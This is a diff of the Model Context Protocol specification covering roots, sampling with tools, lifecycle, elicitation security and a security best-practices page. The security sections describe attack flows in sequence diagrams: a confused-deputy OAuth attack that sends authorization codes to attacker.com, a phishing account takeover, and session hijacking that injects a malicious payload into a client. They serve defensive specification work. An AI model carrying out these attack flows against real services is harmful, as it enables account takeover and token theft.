`ws:`, or local app URI schemes. - * Disallow scheme changes and redirects to hosts on different origins. -* Be resilient against resource exhaustion attacks stemming from oversized images, large dimensions, or excessive frames (e.g., in GIFs). - * Consumers **MAY** set limits for image and content size. -* Fetch icons without credentials. Do not send cookies, `Authorization` headers, or client credentials. -* Verify that icon URIs are from the same origin as the server. This minimizes the risk of exposing data or tracking information to third-parties. -* Exercise caution when fetching and rendering icons as the payload **MAY** contain executable content (e.g., SVG with [embedded JavaScript](https://www.w3.org/TR/SVG11/script.html) or [extended capabilities](https://www.w3.org/TR/SVG11/extend.html)). - * Consumers **MAY** choose to disallow specific file types or otherwise sanitize icon files before rendering. -* Validate MIME types and file contents before rendering. Treat the MIME type information as advisory. Detect content type via magic bytes; reject on mismatch or unknown types. - * Maintain a strict allowlist of image types. +### Identifying the User + +Servers **MUST NOT** rely on client-provided user identification without server verification, as this can be forged. +Instead, servers **SHOULD** follow [security best practices](../basic/security_best_practices). + +Non-normative examples: + +* Incorrect: Treat user input like "I am [joe@example.com](mailto:joe@example.com)" as authoritative +* Correct: Rely on [authorization](../basic/authorization) to identify the user + +### Form Mode Security -**Usage:** +1. Servers **MUST NOT** request sensitive information (passwords, API keys, etc.) via form mode +2. Clients **SHOULD** validate all responses against the provided schema +3. Servers **SHOULD** validate received data matches the requested schema -Icons can be attached to: +#### Phishing -* `Implementation`: Visual identifier for the MCP server/client implementation -* `Tool`: Visual representation of the tool's functionality -* `Prompt`: Icon to display alongside prompt templates -* `Resource`: Visual indicator for different resource types +URL mode elicitation returns a URL that an attacker can use to send to a victim. The MCP Server **MUST** verify the identity of the user who opens the URL before accepting information. -Multiple icons can be provided to support different display contexts and resolutions. Clients should select the most appropriate icon based on their UI requirements. +Typically identity verification is done by leveraging the [MCP authorization server](../basic/authorization) to identify the user, through a session cookie or equivalent in the browser. +For example, URL mode elicitation may be used to perform OAuth flows where the server acts as an OAuth client of another resource server. Without proper mitigation, the following phishing attack is possible: -# Lifecycle -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/lifecycle +1. A malicious user (Alice) connected to a benign server triggers an elicitation request +2. The benign server generates an authorization URL, acting as an OAuth client of a third-party authorization server +3. Alice's client displays the URL and asks for consent +4. Instead of clicking on the link, Alice tricks a victim user (Bob) of the same benign server into clicking it +5. Bob opens the link and completes the authorization, thinking they are authorizing their own connection to the benign server +6. The benign server receives a callback/redirect form the third-party authorization server, and assumes it's Alice's request +7. The tokens for the third-party server are bound to Alice's session and identity, instead of Bob's, resulting in an account takeover +To prevent this attack, the server **MUST** ensure that the user who started the elicitation request (the end-user who is accessing the server via the MCP client) is the same user who completes the authorization flow. +There are many ways to achieve this and the best way will depend on the specific implementation. -
+As a common, non-normative example, consider a case where the MCP server is accessible via the web and desires to perform a third-party authorization code flow. +To prevent the phishing attack, the server would create a URL mode elicitation to `https://mcp.example.com/connect?elicitationId=...` rather than the third-party authorization endpoint. +This "connect URL" must ensure the user who opened the page is the same user who the elicitation was generated for. +It would, for example, check that the user has a valid session cookie and that the session cookie is for the same user who was using the MCP client to generate the URL mode elicitation. +This could be done by comparing the authoritative subject (`sub` claim) from the MCP server's authorization server to the subject from the session cookie. +Once that page ensures the same user, it can send the user to the third-party authorization server at `https://example.com/authorize?...` where a normal OAuth flow can be completed. -**Protocol Revision**: 2025-11-25 +In other cases, the server may not be accessible via the web and may not be able to use a session cookie to identify the user. +In this case, the server must use a different mechanism to identify the user who opens the elicitation URL is the same user who the elicitation was generated for. -The Model Context Protocol (MCP) defines a rigorous lifecycle for client-server -connections that ensures proper capability negotiation and state management. +In all implementations, the server **MUST** ensure that the mechanism to determine the user's identity is resilient to attacks where an attacker can modify the elicitation URL. -1. **Initialization**: Capability negotiation and protocol version agreement -2. **Operation**: Normal protocol communication -3. **Shutdown**: Graceful termination of the connection -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +# Roots +Source: https://modelcontextprotocol.io/specification/2025-11-25/client/roots - Note over Client,Server: Initialization Phase - activate Client - Client->>+Server: initialize request - Server-->>Client: initialize response - Client--)Server: initialized notification - Note over Client,Server: Operation Phase - rect rgb(200, 220, 250) - note over Client,Server: Normal protocol operations - end - Note over Client,Server: Shutdown - Client--)-Server: Disconnect - deactivate Server - Note over Client,Server: Connection closed -``` +
-## Lifecycle Phases +The Model Context Protocol (MCP) provides a standardized way for clients to expose +filesystem "roots" to servers. Roots define the boundaries of where servers can operate +within the filesystem, allowing them to understand which directories and files they have +access to. Servers can request the list of roots from supporting clients and receive +notifications when that list changes. -### Initialization +## User Interaction Model -The initialization phase **MUST** be the first interaction between client and server. -During this phase, the client and server: +Roots in MCP are typically exposed through workspace or project configuration interfaces. -* Establish protocol version compatibility -* Exchange and negotiate capabilities -* Share implementation details +For example, implementations could offer a workspace/project picker that allows users to +select directories and files the server should have access to. This can be combined with +automatic workspace detection from version control systems or project files. -The client **MUST** initiate this phase by sending an `initialize` request containing: +However, implementations are free to expose roots through any interface pattern that +suits their needs—the protocol itself does not mandate any specific user +interaction model. -* Protocol version supported -* Client capabilities -* Client implementation information +## Capabilities + +Clients that support roots **MUST** declare the `roots` capability during +[initialization](/specification/2025-11-25/basic/lifecycle#initialization): ```json theme={null} { - "jsonrpc": "2.0", - "id": 1, - "method": "initialize", - "params": { - "protocolVersion": "2025-11-25", - "capabilities": { - "roots": { - "listChanged": true - }, - "sampling": {}, - "elicitation": { - "form": {}, - "url": {} - }, - "tasks": { - "requests": { - "elicitation": { - "create": {} - }, - "sampling": { - "createMessage": {} - } - } - } - }, - "clientInfo": { - "name": "ExampleClient", - "title": "Example Client Display Name", - "version": "1.0.0", - "description": "An example MCP client application", - "icons": [ - { - "src": "https://example.com/icon.png", - "mimeType": "image/png", - "sizes": ["48x48"] - } - ], - "websiteUrl": "https://example.com" + "capabilities": { + "roots": { + "listChanged": true } } } ``` -The server **MUST** respond with its own capabilities and information: +`listChanged` indicates whether the client will emit notifications when the list of roots +changes. + +## Protocol Messages + +### Listing Roots + +To retrieve roots, servers send a `roots/list` request: + +**Request:** ```json theme={null} { "jsonrpc": "2.0", "id": 1, - "result": { - "protocolVersion": "2025-11-25", - "capabilities": { - "logging": {}, - "prompts": { - "listChanged": true - }, - "resources": { - "subscribe": true, - "listChanged": true - }, - "tools": { - "listChanged": true - }, - "tasks": { - "list": {}, - "cancel": {}, - "requests": { - "tools": { - "call": {} - } - } - } - }, - "serverInfo": { - "name": "ExampleServer", - "title": "Example Server Display Name", - "version": "1.0.0", - "description": "An example MCP server providing tools and resources", - "icons": [ - { - "src": "https://example.com/server-icon.svg", - "mimeType": "image/svg+xml", - "sizes": ["any"] - } - ], - "websiteUrl": "https://example.com/server" - }, - "instructions": "Optional instructions for the client" - } + "method": "roots/list" } ``` -After successful initialization, the client **MUST** send an `initialized` notification -to indicate it is ready to begin normal operations: +**Response:** ```json theme={null} { "jsonrpc": "2.0", - "method": "notifications/initialized" + "id": 1, + "result": { + "roots": [ + { + "uri": "file:///home/user/projects/myproject", + "name": "My Project" + } + ] + } } ``` -* The client **SHOULD NOT** send requests other than - [pings](/specification/2025-11-25/basic/utilities/ping) before the server has responded to the - `initialize` request. -* The server **SHOULD NOT** send requests other than - [pings](/specification/2025-11-25/basic/utilities/ping) and - [logging](/specification/2025-11-25/server/utilities/logging) before receiving the `initialized` - notification. - -#### Version Negotiation - -In the `initialize` request, the client **MUST** send a protocol version it supports. -This **SHOULD** be the *latest* version supported by the client. - -If the server supports the requested protocol version, it **MUST** respond with the same -version. Otherwise, the server **MUST** respond with another protocol version it -supports. This **SHOULD** be the *latest* version supported by the server. - -If the client does not support the version in the server's response, it **SHOULD** -disconnect. - - - If using HTTP, the client **MUST** include the `MCP-Protocol-Version: ` HTTP header on all subsequent requests to the MCP - server. - For details, see [the Protocol Version Header section in Transports](/specification/2025-11-25/basic/transports#protocol-version-header). - - -#### Capability Negotiation - -Client and server capabilities establish which optional protocol features will be -available during the session. - -Key capabilities include: - -| Category | Capability | Description | -| -------- | -------------- | --------------------------------------------------------------------------------------------- | -| Client | `roots` | Ability to provide filesystem [roots](/specification/2025-11-25/client/roots) | -| Client | `sampling` | Support for LLM [sampling](/specification/2025-11-25/client/sampling) requests | -| Client | `elicitation` | Support for server [elicitation](/specification/2025-11-25/client/elicitation) requests | -| Client | `tasks` | Support for [task-augmented](/specification/2025-11-25/basic/utilities/tasks) client requests | -| Client | `experimental` | Describes support for non-standard experimental features | -| Server | `prompts` | Offers [prompt templates](/specification/2025-11-25/server/prompts) | -| Server | `resources` | Provides readable [resources](/specification/2025-11-25/server/resources) | -| Server | `tools` | Exposes callable [tools](/specification/2025-11-25/server/tools) | -| Server | `logging` | Emits structured [log messages](/specification/2025-11-25/server/utilities/logging) | -| Server | `completions` | Supports argument [autocompletion](/specification/2025-11-25/server/utilities/completion) | -| Server | `tasks` | Support for [task-augmented](/specification/2025-11-25/basic/utilities/tasks) server requests | -| Server | `experimental` | Describes support for non-standard experimental features | - -Capability objects can describe sub-capabilities like: - -* `listChanged`: Support for list change notifications (for prompts, resources, and - tools) -* `subscribe`: Support for subscribing to individual items' changes (resources only) - -### Operation +### Root List Changes -During the operation phase, the client and server exchange messages according to the -negotiated capabilities. +When roots change, clients that support `listChanged` **MUST** send a notification: -Both parties **MUST**: +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/roots/list_changed" +} +``` -* Respect the negotiated protocol version -* Only use capabilities that were successfully negotiated +## Message Flow -### Shutdown +```mermaid theme={null} +sequenceDiagram + participant Server + participant Client -During the shutdown phase, one side (usually the client) cleanly terminates the protocol -connection. No specific shutdown messages are defined—instead, the underlying transport -mechanism should be used to signal connection termination: + Note over Server,Client: Discovery + Server->>Client: roots/list + Client-->>Server: Available roots -#### stdio + Note over Server,Client: Changes + Client--)Server: notifications/roots/list_changed + Server->>Client: roots/list + Client-->>Server: Updated roots +``` -For the stdio [transport](/specification/2025-11-25/basic/transports), the client **SHOULD** initiate -shutdown by: +## Data Types -1. First, closing the input stream to the child process (the server) -2. Waiting for the server to exit, or sending `SIGTERM` if the server does not exit - within a reasonable time -3. Sending `SIGKILL` if the server does not exit within a reasonable time after `SIGTERM` +### Root -The server **MAY** initiate shutdown by closing its output stream to the client and -exiting. +A root definition includes: -#### HTTP +* `uri`: Unique identifier for the root. This **MUST** be a `file://` URI in the current + specification. +* `name`: Optional human-readable name for display purposes. -For HTTP [transports](/specification/2025-11-25/basic/transports), shutdown is indicated by closing the -associated HTTP connection(s). +Example roots for different use cases: -## Timeouts +#### Project Directory -Implementations **SHOULD** establish timeouts for all sent requests, to prevent hung -connections and resource exhaustion. When the request has not received a success or error -response within the timeout period, the sender **SHOULD** issue a [cancellation -notification](/specification/2025-11-25/basic/utilities/cancellation) for that request and stop waiting for -a response. +```json theme={null} +{ + "uri": "file:///home/user/projects/myproject", + "name": "My Project" +} +``` -SDKs and other middleware **SHOULD** allow these timeouts to be configured on a -per-request basis. +#### Multiple Repositories -Implementations **MAY** choose to reset the timeout clock when receiving a [progress -notification](/specification/2025-11-25/basic/utilities/progress) corresponding to the request, as this -implies that work is actually happening. However, implementations **SHOULD** always -enforce a maximum timeout, regardless of progress notifications, to limit the impact of a -misbehaving client or server. +```json theme={null} +[ + { + "uri": "file:///home/user/repos/frontend", + "name": "Frontend Repository" + }, + { + "uri": "file:///home/user/repos/backend", + "name": "Backend Repository" + } +] +``` ## Error Handling -Implementations **SHOULD** be prepared to handle these error cases: +Clients **SHOULD** return standard JSON-RPC errors for common failure cases: -* Protocol version mismatch -* Failure to negotiate required capabilities -* Request [timeouts](#timeouts) +* Client does not support roots: `-32601` (Method not found) +* Internal errors: `-32603` -Example initialization error: +Example error: ```json theme={null} { "jsonrpc": "2.0", "id": 1, "error": { - "code": -32602, - "message": "Unsupported protocol version", + "code": -32601, + "message": "Roots not supported", "data": { - "supported": ["2024-11-05"], - "requested": "1.0.0" + "reason": "Client does not have roots capability" } } } ``` +## Security Considerations -# Security Best Practices -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/security_best_practices - - - -
+1. Clients **MUST**: + * Only expose roots with appropriate permissions + * Validate all root URIs to prevent path traversal + * Implement proper access controls + * Monitor root accessibility -## Introduction +2. Servers **SHOULD**: + * Handle cases where roots become unavailable + * Respect root boundaries during operations + * Validate all paths against provided roots -### Purpose and Scope +## Implementation Guidelines -This document provides security considerations for the Model Context Protocol (MCP), complementing the [MCP Authorization](../basic/authorization) specification. This document identifies security risks, attack vectors, and best practices specific to MCP implementations. +1. Clients **SHOULD**: + * Prompt users for consent before exposing roots to servers + * Provide clear user interfaces for root management + * Validate root accessibility before exposing + * Monitor for root changes -The primary audience for this document includes developers implementing MCP authorization flows, MCP server operators, and security professionals evaluating MCP-based systems. This document should be read alongside the MCP Authorization specification and [OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700). +2. Servers **SHOULD**: + * Check for roots capability before usage + * Handle root list changes gracefully + * Respect root boundaries in operations + * Cache root information appropriately -## Attacks and Mitigations -This section gives a detailed description of attacks on MCP implementations, along with potential countermeasures. +# Sampling +Source: https://modelcontextprotocol.io/specification/2025-11-25/client/sampling -### Confused Deputy Problem -Attackers can exploit MCP proxy servers that connect to third-party APIs, creating "[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)" vulnerabilities. This attack allows malicious clients to obtain authorization codes without proper user consent by exploiting the combination of static client IDs, dynamic client registration, and consent cookies. -#### Terminology +
-**MCP Proxy Server** -: An MCP server that connects MCP clients to third-party APIs, offering MCP features while delegating operations and acting as a single OAuth client to the third-party API server. +The Model Context Protocol (MCP) provides a standardized way for servers to request LLM +sampling ("completions" or "generations") from language models via clients. This flow +allows clients to maintain control over model access, selection, and permissions while +enabling servers to leverage AI capabilities—with no server API keys necessary. +Servers can request text, audio, or image-based interactions and optionally include +context from MCP servers in their prompts. -**Third-Party Authorization Server** -: Authorization server that protects the third-party API. It may lack dynamic client registration support, requiring the MCP proxy to use a static client ID for all requests. +## User Interaction Model -**Third-Party API** -: The protected resource server that provides the actual API functionality. Access to this -API requires tokens issued by the third-party authorization server. +Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to +occur *nested* inside other MCP server features. -**Static Client ID** -: A fixed OAuth 2.0 client identifier used by the MCP proxy server when communicating with -the third-party authorization server. This Client ID refers to the MCP server acting as a client -to the Third-Party API. It is the same value for all MCP server to Third-Party API interactions regardless of -which MCP client initiated the request. +Implementations are free to expose sampling through any interface pattern that suits +their needs—the protocol itself does not mandate any specific user interaction +model. -#### Vulnerable Conditions + + For trust & safety and security, there **SHOULD** always + be a human in the loop with the ability to deny sampling requests. -This attack becomes possible when all of the following conditions are present: + Applications **SHOULD**: -* MCP proxy server uses a **static client ID** with a third-party authorization server -* MCP proxy server allows MCP clients to **dynamically register** (each getting their own client\_id) -* The third-party authorization server sets a **consent cookie** after the first authorization -* MCP proxy server does not implement proper per-client consent before forwarding to third-party authorization + * Provide UI that makes it easy and intuitive to review sampling requests + * Allow users to view and edit prompts before sending + * Present generated responses for review before delivery + -#### Architecture and Attack Flows +## Tools in Sampling -##### Normal OAuth proxy usage (preserves user consent) +Servers can request that the client's LLM use tools during sampling by providing a `tools` array and optional `toolChoice` configuration in their sampling requests. This enables servers to implement agentic behaviors where the LLM can call tools, receive results, and continue the conversation - all within a single sampling request flow. -```mermaid theme={null} -sequenceDiagram - participant UA as User-Agent (Browser) - participant MC as MCP Client - participant M as MCP Proxy Server - participant TAS as Third-Party Authorization Server +Clients **MUST** declare support for tool use via the `sampling.tools` capability to receive tool-enabled sampling requests. Servers **MUST NOT** send tool-enabled sampling requests to Clients that have not declared support for tool use via the `sampling.tools` capability. - Note over UA,M: Initial Auth flow completed +## Capabilities - Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server +Clients that support sampling **MUST** declare the `sampling` capability during +[initialization](/specification/2025-11-25/basic/lifecycle#initialization): - M->>UA: Redirect to third party authorization server - UA->>TAS: Authorization request (client_id: mcp-proxy) - TAS->>UA: Authorization consent screen - Note over UA: Review consent screen - UA->>TAS: Approve - TAS->>UA: Set consent cookie for client ID: mcp-proxy - TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com - UA->>M: 3P Authorization code - Note over M,TAS: Exchange 3P code for 3P token - Note over M: Generate MCP authorization code - M->>UA: Redirect to MCP Client with MCP authorization code +**Basic sampling:** - Note over M,UA: Exchange code for token, etc. +```json theme={null} +{ + "capabilities": { + "sampling": {} + } +} ``` -##### Malicious OAuth proxy usage (skips user consent) - -```mermaid theme={null} -sequenceDiagram - participant UA as User-Agent (Browser) - participant M as MCP Proxy Server - participant TAS as Third-Party Authorization Server - participant A as Attacker - - - Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent) - A->>M: Dynamically register malicious client, redirect_uri: attacker.com - A->>UA: Sends malicious link - UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie - rect rgba(255, 17, 0, 0.67) - TAS->>TAS: Cookie present, consent skipped - end +**With tool use support:** - TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com - UA->>M: 3P Authorization code - Note over M,TAS: Exchange 3P code for 3P token - Note over M: Generate MCP authorization code - M->>UA: Redirect to attacker.com with MCP Authorization code - UA->>A: MCP Authorization code delivered to attacker.com - Note over M,A: Attacker exchanges MCP code for MCP token - A->>M: Attacker impersonates user to MCP server +```json theme={null} +{ + "capabilities": { + "sampling": { + "tools": {} + } + } +} ``` -#### Attack Description - -When an MCP proxy server uses a static client ID to authenticate with a third-party -authorization server, the following attack becomes possible: - -1. A user authenticates normally through the MCP proxy server to access the third-party API -2. During this flow, the third-party authorization server sets a cookie on the user agent - indicating consent for the static client ID -3. An attacker later sends the user a malicious link containing a crafted authorization request which contains a malicious redirect URI along with a new dynamically registered client ID -4. When the user clicks the link, their browser still has the consent cookie from the previous legitimate request -5. The third-party authorization server detects the cookie and skips the consent screen -6. The MCP authorization code is redirected to the attacker's server (specified in the malicious `redirect_uri` parameter during [dynamic client registration](/specification/2025-11-25/basic/authorization#dynamic-client-registration)) -7. The attacker exchanges the stolen authorization code for access tokens for the MCP server without the user's explicit approval -8. The attacker now has access to the third-party API as the compromised user - -#### Mitigation - -To prevent confused deputy attacks, MCP proxy servers **MUST** implement per-client consent and proper security controls as detailed below. - -##### Consent Flow Implementation - -The following diagram shows how to properly implement per-client consent that runs **before** the third-party authorization flow: - -```mermaid theme={null} -sequenceDiagram - participant Client as MCP Client - participant Browser as User's Browser - participant MCP as MCP Server - participant ThirdParty as Third-Party AuthZ Server +**With context inclusion support (soft-deprecated):** - Note over Client,ThirdParty: 1. Client Registration (Dynamic) - Client->>MCP: Register with redirect_uri - MCP-->>Client: client_id +```json theme={null} +{ + "capabilities": { + "sampling": { + "context": {} + } + } +} +``` - Note over Client,ThirdParty: 2. Authorization Request - Client->>Browser: Open MCP server authorization URL - Browser->>MCP: GET /authorize?client_id=...&redirect_uri=... + + The `includeContext` parameter values `"thisServer"` and `"allServers"` are + soft-deprecated. Servers **SHOULD** avoid using these values (e.g. can just + omit `includeContext` since it defaults to `"none"`), and **SHOULD NOT** use + them unless the client declares `sampling.context` capability. These values + may be removed in future spec releases. + - alt Check MCP Server Consent - MCP->>MCP: Check consent for this client_id - Note over MCP: Not previously approved - end +## Protocol Messages - MCP->>Browser: Show MCP server-owned consent page - Note over Browser: "Allow [Client Name] to access [Third-Party API]?" - Browser->>MCP: POST /consent (approve) - MCP->>MCP: Store consent decision for client_id +### Creating Messages - Note over Client,ThirdParty: 3. Forward to Third-Party - MCP->>Browser: Redirect to third-party /authorize - Note over MCP: Use static client_id for third-party +To request a language model generation, servers send a `sampling/createMessage` request: - Browser->>ThirdParty: Authorization request (static client_id) - ThirdParty->>Browser: User authenticates & consents - ThirdParty->>Browser: Redirect with auth code +**Request:** - Browser->>MCP: Callback with third-party code - MCP->>ThirdParty: Exchange code for token (using static client_id) - MCP->>Browser: Redirect to client's registered redirect_uri +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "sampling/createMessage", + "params": { + "messages": [ + { + "role": "user", + "content": { + "type": "text", + "text": "What is the capital of France?" + } + } + ], + "modelPreferences": { + "hints": [ + { + "name": "claude-3-sonnet" + } + ], + "intelligencePriority": 0.8, + "speedPriority": 0.5 + }, + "systemPrompt": "You are a helpful assistant.", + "maxTokens": 100 + } +} ``` -##### Required Protections +**Response:** -**Per-Client Consent Storage** +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "role": "assistant", + "content": { + "type": "text", + "text": "The capital of France is Paris." + }, + "model": "claude-3-sonnet-20240307", + "stopReason": "endTurn" + } +} +``` -MCP proxy servers **MUST**: +### Sampling with Tools -* Maintain a registry of approved `client_id` values per user -* Check this registry **before** initiating the third-party authorization flow -* Store consent decisions securely (server-side database, or server specific cookies) +The following diagram illustrates the complete flow of sampling with tools, including the multi-turn tool loop: -**Consent UI Requirements** +```mermaid theme={null} +sequenceDiagram + participant Server + participant Client + participant User + participant LLM -The MCP-level consent page **MUST**: + Note over Server,Client: Initial request with tools + Server->>Client: sampling/createMessage
(messages + tools) -* Clearly identify the requesting MCP client by name -* Display the specific third-party API scopes being requested -* Show the registered `redirect_uri` where tokens will be sent -* Implement CSRF protection (e.g., state parameter, CSRF tokens) -* Prevent iframing via `frame-ancestors` CSP directive or `X-Frame-Options: DENY` to prevent clickjacking + Note over Client,User: Human-in-the-loop review + Client->>User: Present request for approval + User-->>Client: Approve/modify -**Consent Cookie Security** + Client->>LLM: Forward request with tools + LLM-->>Client: Response with tool_use
(stopReason: "toolUse") -If using cookies to track consent decisions, they **MUST**: + Client->>User: Present tool calls for review + User-->>Client: Approve tool calls + Client-->>Server: Return tool_use response -* Use `__Host-` prefix for cookie names -* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes -* Be cryptographically signed or use server-side sessions -* Bind to the specific `client_id` (not just "user has consented") + Note over Server: Execute tool(s) + Server->>Server: Run get_weather("Paris")
Run get_weather("London") -**Redirect URI Validation** + Note over Server,Client: Continue with tool results + Server->>Client: sampling/createMessage
(history + tool_results + tools) -The MCP proxy server **MUST**: + Client->>User: Present continuation + User-->>Client: Approve -* Validate that the `redirect_uri` in authorization requests exactly matches the registered URI -* Reject requests if the `redirect_uri` has changed without re-registration -* Use exact string matching (not pattern matching or wildcards) + Client->>LLM: Forward with tool results + LLM-->>Client: Final text response
(stopReason: "endTurn") -**OAuth State Parameter Validation** + Client->>User: Present response + User-->>Client: Approve + Client-->>Server: Return final response + + Note over Server: Server processes result
(may continue conversation...) +``` -The OAuth `state` parameter is critical to prevent authorization code interception and CSRF attacks. Proper state validation ensures that consent approval at the authorization endpoint is enforced at the callback endpoint. +To request LLM generation with tool use capabilities, servers include `tools` and optionally `toolChoice` in the request: -MCP proxy servers implementing OAuth flows **MUST**: +**Request (Server -> Client):** -* Generate a cryptographically secure random `state` value for each authorization request -* Store the `state` value server-side (in a secure session store or encrypted cookie) **only after** consent has been explicitly approved -* Set the `state` tracking cookie/session **immediately before** redirecting to the third-party identity provider (not before consent approval) -* Validate at the callback endpoint that the `state` query parameter exactly matches the stored value in the callback request's cookies or in the request's cookie-based session -* Reject any callback requests where the `state` parameter is missing or does not match -* Ensure `state` values are single-use (delete after validation) and have a short expiration time (e.g., 10 minutes) +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "sampling/createMessage", + "params": { + "messages": [ + { + "role": "user", + "content": { + "type": "text", + "text": "What's the weather like in Paris and London?" + } + } + ], + "tools": [ + { + "name": "get_weather", + "description": "Get current weather for a city", + "inputSchema": { + "type": "object", + "properties": { + "city": { + "type": "string", + "description": "City name" + } + }, + "required": ["city"] + } + } + ], + "toolChoice": { + "mode": "auto" + }, + "maxTokens": 1000 + } +} +``` -The consent cookie or session containing the `state` value **MUST NOT** be set until **after** the user has approved the consent screen at the MCP server's authorization endpoint. Setting this cookie before consent approval renders the consent screen ineffective, as an attacker could bypass it by crafting a malicious authorization request. +**Response (Client -> Server):** -### Token Passthrough +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "role": "assistant", + "content": [ + { + "type": "tool_use", + "id": "call_abc123", + "name": "get_weather", + "input": { + "city": "Paris" + } + }, + { + "type": "tool_use", + "id": "call_def456", + "name": "get_weather", + "input": { + "city": "London" + } + } + ], + "model": "claude-3-sonnet-20240307", + "stopReason": "toolUse" + } +} +``` -"Token passthrough" is an anti-pattern where an MCP server accepts tokens from an MCP client without validating that the tokens were properly issued *to the MCP server* and passes them through to the downstream API. +### Multi-turn Tool Loop -#### Risks +After receiving tool use requests from the LLM, the server typically: -Token passthrough is explicitly forbidden in the [authorization specification](/specification/2025-11-25/basic/authorization) as it introduces a number of security risks, that include: +1. Executes the requested tool uses. +2. Sends a new sampling request with the tool results appended +3. Receives the LLM's response (which might contain new tool uses) +4. Repeats as many times as needed (server might cap the maximum number of iterations, and e.g. pass `toolChoice: {mode: "none"}` on the last iteration to force a final result) -* **Security Control Circumvention** - * The MCP Server or downstream APIs might implement important security controls like rate limiting, request validation, or traffic monitoring, that depend on the token audience or other credential constraints. If clients can obtain and use tokens directly with the downstream APIs without the MCP server validating them properly or ensuring that the tokens are issued for the right service, they bypass these controls. -* **Accountability and Audit Trail Issues** - * The MCP Server will be unable to identify or distinguish between MCP Clients when clients are calling with an upstream-issued access token which may be opaque to the MCP Server. - * The downstream Resource Server’s logs may show requests that appear to come from a different source with a different identity, rather than the MCP server that is actually forwarding the tokens. - * Both factors make incident investigation, controls, and auditing more difficult. - * If the MCP Server passes tokens without validating their claims (e.g., roles, privileges, or audience) or other metadata, a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration. -* **Trust Boundary Issues** - * The downstream Resource Server grants trust to specific entities. This trust might include assumptions about origin or client behavior patterns. Breaking this trust boundary could lead to unexpected issues. - * If the token is accepted by multiple services without proper validation, an attacker compromising one service can use the token to access other connected services. -* **Future Compatibility Risk** - * Even if an MCP Server starts as a "pure proxy" today, it might need to add security controls later. Starting with proper token audience separation makes it easier to evolve the security model. +**Follow-up request (Server -> Client) with tool results:** -#### Mitigation +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "method": "sampling/createMessage", + "params": { + "messages": [ + { + "role": "user", + "content": { + "type": "text", + "text": "What's the weather like in Paris and London?" + } + }, + { + "role": "assistant", + "content": [ + { + "type": "tool_use", + "id": "call_abc123", + "name": "get_weather", + "input": { "city": "Paris" } + }, + { + "type": "tool_use", + "id": "call_def456", + "name": "get_weather", + "input": { "city": "London" } + } + ] + }, + { + "role": "user", + "content": [ + { + "type": "tool_result", + "toolUseId": "call_abc123", + "content": [ + { + "type": "text", + "text": "Weather in Paris: 18°C, partly cloudy" + } + ] + }, + { + "type": "tool_result", + "toolUseId": "call_def456", + "content": [ + { + "type": "text", + "text": "Weather in London: 15°C, rainy" + } + ] + } + ] + } + ], + "tools": [ + { + "name": "get_weather", + "description": "Get current weather for a city", + "inputSchema": { + "type": "object", + "properties": { + "city": { "type": "string" } + }, + "required": ["city"] + } + } + ], + "maxTokens": 1000 + } +} +``` -MCP servers **MUST NOT** accept any tokens that were not explicitly issued for the MCP server. +**Final response (Client -> Server):** -### Session Hijacking +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "result": { + "role": "assistant", + "content": { + "type": "text", + "text": "Based on the current weather data:\n\n- **Paris**: 18°C and partly cloudy - quite pleasant!\n- **London**: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today." + }, + "model": "claude-3-sonnet-20240307", + "stopReason": "endTurn" + } +} +``` -Session hijacking is an attack vector where a client is provided a session ID by the server, and an unauthorized party is able to obtain and use that same session ID to impersonate the original client and perform unauthorized actions on their behalf. +## Message Content Constraints -#### Session Hijack Prompt Injection +### Tool Result Messages -```mermaid theme={null} -sequenceDiagram - participant Client - participant ServerA - participant Queue - participant ServerB - participant Attacker +When a user message contains tool results (type: "tool\_result"), it **MUST** contain ONLY tool results. Mixing tool results with other content types (text, image, audio) in the same message is not allowed. - Client->>ServerA: Initialize (connect to streamable HTTP server) - ServerA-->>Client: Respond with session ID +This constraint ensures compatibility with provider APIs that use dedicated roles for tool results (e.g., OpenAI's "tool" role, Gemini's "function" role). - Attacker->>ServerB: Access/guess session ID - Note right of Attacker: Attacker knows/guesses session ID +**Valid - single tool result:** - Attacker->>ServerB: Trigger event (malicious payload, using session ID) - ServerB->>Queue: Enqueue event (keyed by session ID) +```json theme={null} +{ + "role": "user", + "content": { + "type": "tool_result", + "toolUseId": "call_123", + "content": [{ "type": "text", "text": "Result data" }] + } +} +``` - ServerA->>Queue: Poll for events (using session ID) - Queue-->>ServerA: Event data (malicious payload) +**Valid - multiple tool results:** - ServerA-->>Client: Async response (malicious payload) - Client->>Client: Acts based on malicious payload +```json theme={null} +{ + "role": "user", + "content": [ + { + "type": "tool_result", + "toolUseId": "call_123", + "content": [{ "type": "text", "text": "Result 1" }] + }, + { + "type": "tool_result", + "toolUseId": "call_456", + "content": [{ "type": "text", "text": "Result 2" }] + } + ] +} ``` -#### Session Hijack Impersonation - -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server - participant Attacker +**Invalid - mixed content:** - Client->>Server: Initialize (login/authenticate) - Server-->>Client: Respond with session ID (persistent session created) +```json theme={null} +{ + "role": "user", + "content": [ + { + "type": "text", + "text": "Here are the results:" + }, + { + "type": "tool_result", + "toolUseId": "call_123", + "content": [{ "type": "text", "text": "Result data" }] + } + ] +} +``` - Attacker->>Server: Access/guess session ID - Note right of Attacker: Attacker knows/guesses session ID +### Tool Use and Result Balance - Attacker->>Server: Make API call (using session ID, no re-auth) - Server-->>Attacker: Respond as if Attacker is Client (session hijack) -``` 